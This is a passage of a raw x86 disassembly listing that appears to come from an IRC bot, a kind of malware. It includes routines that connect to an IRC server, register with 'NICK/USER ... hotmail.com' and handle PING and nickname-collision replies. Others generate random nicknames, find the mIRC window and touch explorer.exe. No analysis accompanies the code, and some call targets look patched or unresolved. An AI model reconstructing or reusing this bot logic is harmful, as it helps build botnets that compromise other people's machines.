eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27A0A09h push eax call near ptr 27A0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B4C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B9C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 call near ptr 27A0A09h nop push eax nop call near ptr 2790000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA2C ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387B4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387A4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 2670659h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2680000h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27C0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27C16E2h push esi mov edi, eax nop call near ptr 27C10BBh call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 27D04CAh push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 27D032Dh nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx call near ptr 27D0000h nop push edi nop call near ptr 265092Ah push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 